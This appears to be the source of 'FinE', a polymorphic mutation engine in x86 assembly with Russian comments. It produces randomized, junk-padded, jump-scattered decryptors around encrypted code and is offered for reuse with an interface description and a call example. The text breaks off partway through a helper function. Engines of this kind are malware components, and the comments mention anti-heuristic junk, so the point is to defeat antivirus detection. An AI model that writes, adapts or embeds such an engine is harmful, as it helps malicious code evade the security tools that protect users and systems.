;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ; ; xxxxxxxxxxx xxxxxxxxxxx ; ; xxxxxxxxxxx xxxxxxxxxxx ; ; xxxx xxxx xxxxxxxxxx xxxx ; ; xxxx xxxx xxxxxxxxxxx xxxx ; ; xxxxxxxx xxxx xxxx xxxxxxxx ; ; xxxxxxxx xxxx xxxx xxxx xxxxxxxx ; ; xxxx xxxx xxxx xxxx xxxx ; ; xxxx xxxx xxxx xxxx xxxx ; ; xxxx xxxx xxxx xxxx xxxxxxxxxxx ; ; xxxx xxxx xxxx xxxx xxxxxxxxxxx ; ; ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; Flying mutatIoN Engine ; ; FinE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; :)! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; функция FINE ; ; пиздатый полиморфный движок ; ; ; ; ; ;ВХОД: ; ;1 параметр (и единственный) - адрес структуры (MORPHGEN) (ее описание смотри ниже) ; ;--------------------------------------------------------------------------------------------------------; ;ВЫХОД: ; ;EAX - адрес созданного декриптора с зашифрованным кодом ; ;ECX - размер созданного декриптора с зашифрованным кодом ; ;+ запись этих же данных в спец. поля структуры (смотри ниже) ; ;--------------------------------------------------------------------------------------------------------; ;ЗАМЕТКИ: ; ;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ; ;вызова полиморфного движка остаются теми же (кроме, полей, специально предназняченных для изменения). ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ОПИСАНИЕ СТРУКТУРЫ ; ; MORPHGEN ; ; (0 - входной параметр, 1 - выходной) ; ; ; ; ; ;MORPHGEN struct ; ; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) (0) ; ; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций (0) ; ; cryptcode_addr dd ? ;адрес кода, который надо зашифровать (0) ; ; size_cryptcode dd ? ;размер кода, который надо зашифровать (0) ; ; pa_buf_for_morph dd ? ;физ. адрес буфера, куда записать декриптор с шифрованным кодом (0) ; ; va_buf_for_morph dd ? ;вирт. адрес буфера, куда записать декриптор с шифрованным кодом (0) ; ; buf_with_morph dd ? ;физ. адрес, где расположен созданный декриптор с шифрованным кодом (1) ; ; size_morph dd ? ;размер только что созданного декриптора с шифрованным кодом (1) ; ; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) (0) ; ; reserv1 dd ? ;зарезервировано (0) ; ;MORPHGEN ends ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ОПИСАНИЕ СТРУКТУРЫ ; ; TGEN ; ; (aka TRASHGEN) ; ; (более детальное описание смотри в движке xTG) ; ; ; ; ; ;TRASHGEN struct ; ; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ; ; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ; ; size_trash dd ? ;размер (в байтах), сколько мусора записать ; ; regs dd ? ;занятые регистры (2 шт) ; ; xmask1 dd ? ;64-битная маска для генерации ; ; xmask2 dd ? ;мусорных команд (ака фильтр) ; ; beg_addr dd ? ;начальный адрес ; ; end_addr dd ? ;конечный адрес ; ; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ; ; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ; ;TRASHGEN ends ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ MORPHGEN: ; ; ; ; ; ;[ rgen_addr ] : ; ; так как данный движок (FINE) разработан без привязки к какому-либо другому мотору, ; ; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ; ; хранится в (данном) поле структуры. ; ; ВАЖНО: если мотор FINE будет использовать другой ГСЧ (а не тот, который ; ; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ; ; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ; ; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ; ; Остальные регистры должны остаться неизменными. Все. ; ;--------------------------------------------------------------------------------------------------------; ;[ tgen_addr ] : ; ; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ; ; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ; ; тип-топ). ; ;--------------------------------------------------------------------------------------------------------; ;[ cryptcode_addr ] ; ; & ; ;[ size_cryptcode ]: ; ; думаю, здесь и так все ясно. ; ;--------------------------------------------------------------------------------------------------------; ;[pa_buf_for_morph] : ; ; в этом поле передать физический адрес выделенного буфера для создания декриптора. ; ; Буфер можно выделить например VirtualAlloc etc (как угодно). Если не менять ; ; параметры в данном движке, размер этого буфера тогда будет равен: ; ; 0x3000 + размер кода, который надо пошифровать (размер взят с запасом). ; ; Здесь стоит сказать, что: ; ; 1) выделенный буфер должен быть обнулен, т.е. состоять только из нулевых байт ; ; (из-за специфики данного движка (смотри исходники)); ; ; 2) как узнать, сколько места выделить для данного движка? Считаем: значит, ; ; ( размер кода, который надо пошифровать ) ; ; + ; ; ( 30 (max кол-во основных команд, хех, но их столько не наберется) * ; ; порция мусора ) ; ; + ; ; ( 15 (мах длина основной команды) *30 ) ; ; + ; ; на всякий случай ; ; КОРОЧЕ, скажу так: если глюкануло, значит выдели больше места. ; ; ЕЩЕ: если используется мультидекрипторность, то надо выделить еще больше места. ; ; ЫЩЕ: если вы хотите создать, к примеру, 3 декриптора c порцией мусора 100 байт, ; ; то можно смело выделить 0x5000 байт + размер кода, который надо пошифровать. ; ; Блядь, кому надо, тот разберется. ; ;--------------------------------------------------------------------------------------------------------; ;[va_buf_for_morph] : ; ; в этом поле можно смело вбить 0. Должно использоваться для заменя команды call в ; ; декрипторе на взаимозаменяемые команды. ; ;--------------------------------------------------------------------------------------------------------; ;[ buf_with_morph ]: ; ; В это поле кладется адрес, где расположен только что созданный декриптор с ; ; шифрованным кодом. Все. ; ;--------------------------------------------------------------------------------------------------------; ;[ size_morph ] : ; ; В это поле кладется размер (читай выше). И так все понятно. ; ;--------------------------------------------------------------------------------------------------------; ;[ mapped_addr ] : ; ; в это поле кладется база мэпинга (ака адрес файла в памяти). На данный момент в это ; ; поле можно тупо клать 0 или что угодно. Короче, считай, что это поле ; ; зарезервировано. Здесь все. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ФИЧИ ; ; ; ; ; ;(+) генерация рэндомных регистров ; ;--------------------------------------------------------------------------------------------------------; ;(+) генерация рандомных ключей для шифрования ; ;--------------------------------------------------------------------------------------------------------; ;(+) размер декриптора всегда разный ; ;--------------------------------------------------------------------------------------------------------; ;(+) команды декриптора имеют взаимозаменяемые конструкции ; ;--------------------------------------------------------------------------------------------------------; ;(+) команды декриптора могут не идти друг за другом (связка jmp'ами) ; ;--------------------------------------------------------------------------------------------------------; ;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ; ;--------------------------------------------------------------------------------------------------------; ;(+) несколько алгоритмов шифрования кода (ADD/SUB/XOR) ; ;--------------------------------------------------------------------------------------------------------; ;(+) мультидекрипторность (можно легко дописать рэндомный выбор количества декрипторов) ; ;--------------------------------------------------------------------------------------------------------; ;(+) базонезависимость ; ;--------------------------------------------------------------------------------------------------------; ;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ; ; * можно компилить как самостоятельный модуль; ; ;--------------------------------------------------------------------------------------------------------; ;(+) не юзает WinAPI ; ;--------------------------------------------------------------------------------------------------------; ;(+) не использует данные и дельта-смещение, супер для мутации двига. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ИСПОЛЬЗОВАНИЕ: ; ; ; ; ; ;1) Подключение: ; ; FinE.asm ; ;2) Вызов (пример stdcall): ; ; ... ; ; szBuf db 100 dup (00h) ; ; szBuf2 db 5000h dup (00h) ;! обязательно обнулить! ; ; ... ; ; lea ecx,szBuf ; ; lea edx,szBuf2 ; ; assume ecx:ptr MORPHGEN ; ; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ; ; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ; ; mov [ecx].cryptcode_addr,00402000h ;по этому адресу находится код, который мы отмутируем ; ; mov [ecx].size_cryptcode,100 ;размер этого кода ; ; mov [ecx].pa_buf_for_morph,edx ;буфер для создания декриптора с шифрованным кодом ; ; mov [ecx].va_buf_for_morph,0 ;это поле пока что не юзается, поэтому ставим смело 0. ; ; ;[ecx].buf_with_morph - выходной параметр ; ; ;[ecx].size_morph - выходной параметр ; ; ;остальные параметры обнулены. ; ; call FINE ;вызываем полиморфный движок ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; СКЕЛЕТ ДЕКРИПТОРА: ; ; ; ; ; ; call imm32 ;здесь вычисляется текущее местонахождение декриптора ; ; pop reg1 ;и сохраняется в регистре reg1 ; ; push imm32 ;в стэк кладется размер кода, который надо расшифровать ; ; add reg1,imm32 ;регистр reg1 указывает на конец кода, который надо расшифровать ; ; mov reg2,imm32 ;в reg2 содержится ключ для расшифровки кода ; ; --> xor/add/sub [reg1],reg2 ;расшифровка кода ; ; | xor/add/sub reg2,imm32 ;ключ изменяется нехитрым алгоритмом ; ; | dec reg1 ;уменьшаем на 1 reg1 ; ; | dec [esp] ;уменьшаем на 1 размер ; ; ----jne imm32 ;переход на расшифровку кода ; ; pop reg ;восстанавливаем стэк ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;v1.0.1 ;коменты обычно пишутся ночью, поэтому возможен бредняк в них. ;m1x ;pr0mix@mail.ru ;EOF ;======================================================================================================== ;======================================================================================================== ;структура MORPHGEN, необходимая для данного генератора ;======================================================================================================== MORPHGEN struct rgen_addr dd ? tgen_addr dd ? cryptcode_addr dd ? size_cryptcode dd ? pa_buf_for_morph dd ? va_buf_for_morph dd ? buf_with_morph dd ? size_morph dd ? mapped_addr dd ? reserv1 dd ? MORPHGEN ends ;======================================================================================================== ;структура TGEN, необходимая для данного генератора (aka TRASHGEN, описание смотри в xTG) ;======================================================================================================== TGEN struct rgen_addr dd ? buf_for_trash dd ? size_trash dd ? regs dd ? xmask1 dd ? xmask2 dd ? beg_addr dd ? end_addr dd ? mapped_addr dd ? reserv1 dd ? TGEN ends ;======================================================================================================== num_decrypts equ 3 ;количество создаваемых декрипторов mtrash1 equ 0FFFFFFFFh ;маска для трэшгена (если он ее юзает) - можно выставить для генерации антиэвристического дерьма или пиздатого хаоса mtrash2 equ 000h ;вторая половина маски num_general_instr equ 11 ;количество основных команд (команд декриптора, их чуть больше может быть) size_general_instr equ 15 ;максимальный размер одной основной команды (можно уменьшить, к примеру до 10 etc) num_steps equ 30 ;счетчик (о нем читай ниже) portion equ 100 ;одна порция мусора max_portion equ portion*num_general_instr+size_general_instr*num_general_instr ;максимальный размер одной порции мусора) - чем меньше это значение, тем меньше вероятность, что команды переставятся в случайном порядке (смотри исходник) min_portion equ 50 ;минимальный размер порции мусора addr1 equ 000h ;начальный и конечный адреса для трэшгена (если он их юзает) addr2 equ 000h ;======================================================================================================== FINE: pushad ;save all regs cld mov edx,dword ptr [esp+24h] ;в edx - указатель на cтруктуру MORPHGEN assume edx:ptr MORPHGEN mov ecx,[edx].size_cryptcode ;ecx - размер кода, который надо зашифровать mov esi,[edx].cryptcode_addr ;esi - адрес этого кода mov edi,[edx].pa_buf_for_morph ;edi - адрес (он же буфер), куда запишем декриптор с зашифрованным кодом xor eax,eax ;далее кладем в стэк (и заполняем некоторые поля) структуру TGEN (aka TRASHGEN) push eax ;reserv1 push [edx].mapped_addr ;mapped_addr push addr2 ;end_addr push addr1 ;beg_addr (про них читай в движке xTG) push mtrash2 ;64-битная маска для генерации мусора push mtrash1 push eax;regs ;регистры (пока кладем нули, а правильно заполним после, изучай исходники) push eax;portion ;порция мусора, которую надо сгенерировать push eax;buf_for_trash ;буфер, куда записывать порцию мусора push [edx].rgen_addr ;ГСЧ mov ebp,esp ;указателем на данную структуру будет регистр ebp assume ebp:ptr TGEN ;[ebp+-00] mov eax,num_decrypts ;количество декрипторов _next_decrypt_: push eax ;[ebp-04] call morph ;[ebp-08] ;вызываем функцию создания сего декриптора с шифрованным кодом mov esi,edi ;esi делаем равным началу только что созданного декриптора add edi,ecx ;edi переводим на конец только что созданного декриптора + шифрованный текст pop eax dec eax ;уменьшаем счетчик jnz _next_decrypt_ ;есть варик еще замутить декриптор? add esp,10*4 ;когда все что надо записали, выравниваем стэк sub edi,ecx ;корректируем edi на начало последнего созданного декриптора mov [edx].buf_with_morph,edi ;сохраним это значение в структуре mov [edx].size_morph,ecx ;а также сохраним размер данного декриптора + шифрованного текста mov dword ptr [esp+1Ch],edi ;EAX=EDI mov dword ptr [esp+18h],ecx ;ECX=ECX popad ;восстанавливаем регистры ret 4 ;выходим ;======================================================================================================== morph: call gen_reg ;вызываем функцию генерации занятых регистров (используемых) (2 шт) push edi ;[ebp-12] сохраняем edi в стэке push portion ;сгенерируем в самом начале 1-ую порцию мусора call [edx].rgen_addr add eax,41 ;от коллизий call gen_trash ;-------------------------------------------------------------------------------------------------------- push edi ;[ebp-16] ;здесь адрес будет изменяться (нужно для поиска свободного рэндомного адреса) push edi ;[ebp-20] ;адрес сразу после call $+5 (сохранится после в reg1) call instr___call ;CALL $+value call instr___pop__reg ;POP reg1 call instr___push__imm ;PUSH push edi ;[ebp-24] ;сохраним это место (в нижевызванной функции его правильно скорректируем), чтобы после написать правильный размер после по этому адресу call instr___add__reg_imm ;ADD reg1, push edi ;[ebp-28] ;сохраним и это место, здесь после впишем ключ1, по которому и будем расшифровывать данные (код) call instr___mov__reg_imm ;MOV reg2,key1 push edi ;[ebp-32] ;сохраним также и этот адрес, ибо условный переход будет указывать именно сюда push edi ;[ebp-36] ;здесь хранится число - какой алг криптовки юзаем call instr___addxorsub__addrreg_reg ;ADD/XOR/SUB dword ptr [reg1],reg2 push edi ;[ebp-40] ;сюда позже впишем ключ2, на этот ключ будет изменяться ключ1 push edi ;[ebp-44] ;здесь хранится 2-ое число - какой 2-ой ключ для изменения 1-ого ключа юзаем call instr___addxorsub__reg_imm ;ADD/XOR/SUB reg2,key2 call instr___dec__reg ;DEC reg1 call instr___dec__addresp ;DEC dword ptr [esp], JNE call instr___pop__reg ;POP reg ;-------------------------------------------------------------------------------------------------------- push portion call [edx].rgen_addr ;случайным образом определим, сколько мусора (в байтах) записать push eax add eax,ecx ;добавим размер данных, которые надо будет расшифровать декриптором call goto_free_addr ;и вызовем функцию получения случайного свободного адреса в заданном (заранее) промежутке, и по этому адресу и будем сейчас записывать add eax,(max_portion+portion+portion+min_portion) ;также скорректируем (чтобы все правильно отработало) данный размер add dword ptr [ebp-16],eax ;и добавим к изменяющемуся адресу (он указывает теперь на свободное место, куда будем записывать очередной декриптор etc) pop eax call gen_trash ;генерируем порцию мусора ;-------------------------------------------------------------------------------------------------------- push -1 call [edx].rgen_addr xchg eax,ebx ;в ebx теперь хранится ключ1 push -1 call [edx].rgen_addr push eax ;[ebp-48] ;а в стэке теперь хранится ключ2 ;-------------------------------------------------------------------------------------------------------- mov eax,dword ptr [esi] ;и начинаем шифровать код add esi,4 _crypt_: ;mov eax,dword ptr [esi] cmp dword ptr [ebp-36],1 ;optimization! ;смотрим, какой алгоритм шифровки мы выбирали, и выбираем симметричный алг расшифровки jl _xor03_ jg _add03_ _sub03_: sub eax,ebx jmp _chg_key1_ _add03_: add eax,ebx jmp _chg_key1_ _xor03_: xor eax,ebx _chg_key1_: cmp ecx,1 ;optimization! ;смотрим, это последняя итерация? если да, то изменять ключ1 на ключ2 уже не надо je _write_crypt_data_ cmp dword ptr [ebp-44],1 ;optimization! ;смотрим какой алг мы использовали для изменения ключ1 (на ключ2) jl _xor04_ jg _add04_ _sub04_: sub ebx,dword ptr [esp] jmp _write_crypt_data_ _add04_: add ebx,dword ptr [esp] jmp _write_crypt_data_ _xor04_: xor ebx,dword ptr [esp] _write_crypt_data_: mov dword ptr [edi],eax inc edi lodsb ror eax,8 ;берем следующий байт, и начинаем шифровать дальше ;inc esi loop _crypt_ ;-------------------------------------------------------------------------------------------------------- pop ecx ;key2 pop eax pop eax mov dword ptr [eax],ecx ;вытаскиваем из стэка ранее сохраненный ключ2 и адрес, по которому и запишем в декриптор данный ключик pop eax pop eax pop eax mov dword ptr [eax],ebx ;вытаскиваем из стэка адрес, по которому и запишем в декриптор ключ1 dec edi ;корректируем edi xchg eax,edi ;далее вытаскиваем адрес, по которому надо записать размер шифрованных байт + мусор (то есть reg1 должен указывать на конец шифрованного кода) pop edi pop esi sub eax,esi test byte ptr [edi-1],20h;0E8h ;после смотрим, какая команда была записана: ADD или SUB ? и в заисимости от этого изменяем знак регистра je _addregimm_ _subregimm_: neg eax _addregimm_: stosd pop ecx ;получаем адрес, по которому можно будет записывать новый декриптор (он больше чем тот, что в edi) pop edi ;получаем адрес начала только что записанного декриптора sub ecx,edi ;вычисляем и сохраняем в ecx размер только что записанного декриптора + шифрованного кода ret ;выходим ;======================================================================================================== ;=====================================[CALL $+value]===================================================== instr___call: push portion call [edx].rgen_addr ;получаем рэндомно размер 1-ой порции мусора, которую будем генерить и записывать push eax ;сохраняем push portion call [edx].rgen_addr ;получаем рэндомно размер 2-ой порции мусора push eax ;сохраняем и его push portion call [edx].rgen_addr ;получаем рэндомно размер 3-ей порции мусора push eax ;и его также сохраняем в стэке add eax,dword ptr [esp+4] add eax,dword ptr [esp+8] ;получаем общий размер call goto_free_addr ;получаем рэндомный свободный адрес в заранее заданном промежутке, по которому вместится столько мусора + нужная команда (в данном варике это call $+5) pop eax ;вытаскиваем из стэка ранее сохраненный размер мусора call gen_trash ;герерим мусор mov al,0E8h ;далее генерим команду CALL $+value stosb pop eax stosd mov dword ptr [ebp-20],edi call gen_trash ;записываем очередную порцию мусора pop eax call gen_trash ;etc ret ;на выход ;=====================================[CALL $+value]===================================================== ;=======================================[POP reg1]======================================================= instr___pop__reg: push portion ;etc (смотри выше) call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- push 2 ;далее смотрим, какую команду генерить? call [edx].rgen_addr test eax,eax je _pop__reg1_ ;POP reg1 или ;-------------------------------------------------------------------------------------------------------- _mov__reg1_addresp___add__esp_4_: ;MOV reg1,[esp] add esp,4 ? mov al,8Bh stosb mov al,bh shl eax,3 add al,4 stosb mov al,24h stosb pop eax call gen_trash push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash mov ax,0C483h stosw mov al,04 jmp _iprendtrash_ ;-------------------------------------------------------------------------------------------------------- _pop__reg1_: mov al,58h add al,bh _iprendtrash_: stosb pop eax call gen_trash ret ;=======================================[POP reg1]======================================================= ;=======================================[PUSH imm]======================================================= instr___push__imm: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- push 2 ;PUSH imm или call [edx].rgen_addr ;MOV reg2,imm PUSH reg2 ? test eax,eax je _push__imm_ ;-------------------------------------------------------------------------------------------------------- _mov__reg2_imm___push__reg2_: mov al,0B8h add al,bl stosb mov eax,ecx stosd pop eax call gen_trash push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash mov al,50h add al,bl stosb jmp _ipiendtrash_ ;-------------------------------------------------------------------------------------------------------- _push__imm_: mov al,68h stosb mov eax,ecx stosd _ipiendtrash_: pop eax call gen_trash ret ;=======================================[PUSH imm]======================================================= ;=====================================[ADD reg1,imm]===================================================== instr___add__reg_imm: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash mov al,81h stosb ;-------------------------------------------------------------------------------------------------------- push 2 ;ADD reg1,imm или call [edx].rgen_addr ;SUB reg1,-imm ? imul eax,28h add al,0C0h add al,bh stosb ;-------------------------------------------------------------------------------------------------------- mov dword ptr [ebp-24],edi xor eax,eax stosd pop eax call gen_trash ret ;=====================================[ADD reg1,imm]===================================================== ;=====================================[MOV reg2,imm]===================================================== instr___mov__reg_imm: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- push 2 ;MOV reg2,imm или call [edx].rgen_addr ;PUSH imm POP reg2 ? test eax,eax je _mov__reg_imm_ ;-------------------------------------------------------------------------------------------------------- _push__imm___pop__reg_: mov al,68h stosb mov dword ptr [ebp-28],edi xor eax,eax stosd pop eax call gen_trash push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash mov al,58h add al,bl stosb jmp _mriendtrash_ ;-------------------------------------------------------------------------------------------------------- _mov__reg_imm_: mov al,0B8h add al,bl stosb mov dword ptr [ebp-28],edi xor eax,eax stosd _mriendtrash_: pop eax call gen_trash ret ;=====================================[MOV reg2,imm]===================================================== ;===============================[ADD/SUB/XOR [reg1],reg2]================================================ instr___addxorsub__addrreg_reg: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax mov dword ptr [ebp-32],edi call gen_trash ;-------------------------------------------------------------------------------------------------------- push 3 ;ADD, SUB, или XOR ? call [edx].rgen_addr mov dword ptr [ebp-36],eax ;-------------------------------------------------------------------------------------------------------- cmp al,1 jl _xor01_ jg _sub01_ _add01_: jmp _n001_ _sub01_: mov al,29h jmp _n001_ _xor01_: mov al,31h _n001_: stosb mov al,bl shl eax,3 add al,bh stosb pop eax call gen_trash ret ;===============================[ADD/SUB/XOR [reg1],reg2]================================================ ;================================[ADD/SUB/XOR reg2,imm]================================================== instr___addxorsub__reg_imm: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- mov al,81h stosb ;-------------------------------------------------------------------------------------------------------- push 3 ;ADD, SUB, или XOR ? call [edx].rgen_addr mov dword ptr [ebp-44],eax cmp al,1 mov al,bl ;reg2 jl _xor02_ jg _sub02_ _add02_: add al,0C0h jmp _n002_ _sub02_: add al,0E8h jmp _n002_ _xor02_: add al,0F0h _n002_: stosb mov dword ptr [ebp-40],edi xor eax,eax stosd pop eax call gen_trash ret ;================================[ADD/SUB/XOR reg2,imm]================================================== ;======================================[DEC reg1]======================================================== instr___dec__reg: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- push 2 ;DEC reg1 или call [edx].rgen_addr ;SUB reg1,1 ? test eax,eax je _dec__reg1_ ;-------------------------------------------------------------------------------------------------------- _sub__reg1_1_: mov al,83h stosb mov al,0E8h add al,bh stosb mov al,1 jmp _idrendtrash_ ;-------------------------------------------------------------------------------------------------------- _dec__reg1_: mov al,bh ;reg1 add al,48h _idrendtrash_: stosb pop eax call gen_trash ret ;======================================[DEC reg1]======================================================== ;=================================[DEC [esp] JNE imm]================================================== instr___dec__addresp: push portion call [edx].rgen_addr push eax push portion call [edx].rgen_addr push eax add eax,dword ptr [esp+4] call goto_free_addr pop eax call gen_trash ;-------------------------------------------------------------------------------------------------------- push 2 ;DEC [esp] или call [edx].rgen_addr ;SUB [esp],1 ? test eax,eax je _dec__addresp_ ;-------------------------------------------------------------------------------------------------------- _sub__addresp_1_: mov eax,01242C83h stosd jmp _jne__imm_ _dec__addresp_: mov ax,0CFFh stosw mov al,24h stosb _jne__imm_: ;JNE imm push ecx mov ecx,edi mov ax,850Fh stosw sub ecx,dword ptr [ebp-32] add ecx,6 neg ecx xchg eax,ecx stosd pop ecx pop eax call gen_trash ret ;=====================================[DEC [esp] JNE imm]============================================== ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция goto_free_addr ;получение, переход, а также (если надо) запись мусора и джампа ;ВХОД: ;eax - размер кода ( в байтах), который надо будет записать по новому полученного рэндомному адресу ;ВЫХОД: ;edi - новый адрес ;а также (если надо было) запись джампа и мусора ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx goto_free_addr: push eax call get_free_addr ;получаем адрес, по которому точно можно записать нужное количество (в байтах) кода push eax jnc _nojmp_ ;проверяем, нужно ли записывать джамп? push edi ;если да, надо, то высчитываем операнд для jmp'a sub edi,eax inc edi inc edi mov eax,edi _abs01_: neg eax js _abs01_ _jmpshort0xEB_: cmp eax,80h jae _jmpnear0xE9_ neg edi xchg edi,dword ptr [esp] mov al,0EBh stosb pop eax stosb jmp _nextgfa_ _jmpnear0xE9_: add edi,3 neg edi xchg edi,dword ptr [esp] mov al,0E9h ;и записываем jmp stosb pop eax stosd _nextgfa_: ;mov eax,min_portion push min_portion call [edx].rgen_addr ;!!!!! можно закоментить call gen_trash ;после него запишем для заshitы кусок мусора _nojmp_: pop edi pop eax ret ;выходим ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции goto_free_addr ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция get_free_addr ;получение рэндомного свободного адреса для записи нужного количества байт ;ВХОД: ;(+) ;ВЫХОД: ;(+) ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx get_free_addr: push edi ;[esp+12] push esi ;[esp+08] push ecx ;[esp+04] push eax ;[esp+00] _new_addr_: push num_steps ;30 pop esi ;сколько попыток найти свободный адрес в заданном промежутке _find_free_addr_: dec esi je _correct_new_addr_ ;если все попытки найти свободный адрес закончились (т.е. мы нихера не нашли свободный адрес), изменим наш диапазон поиска, сдвинув его вперед (в строну свободных адресов) 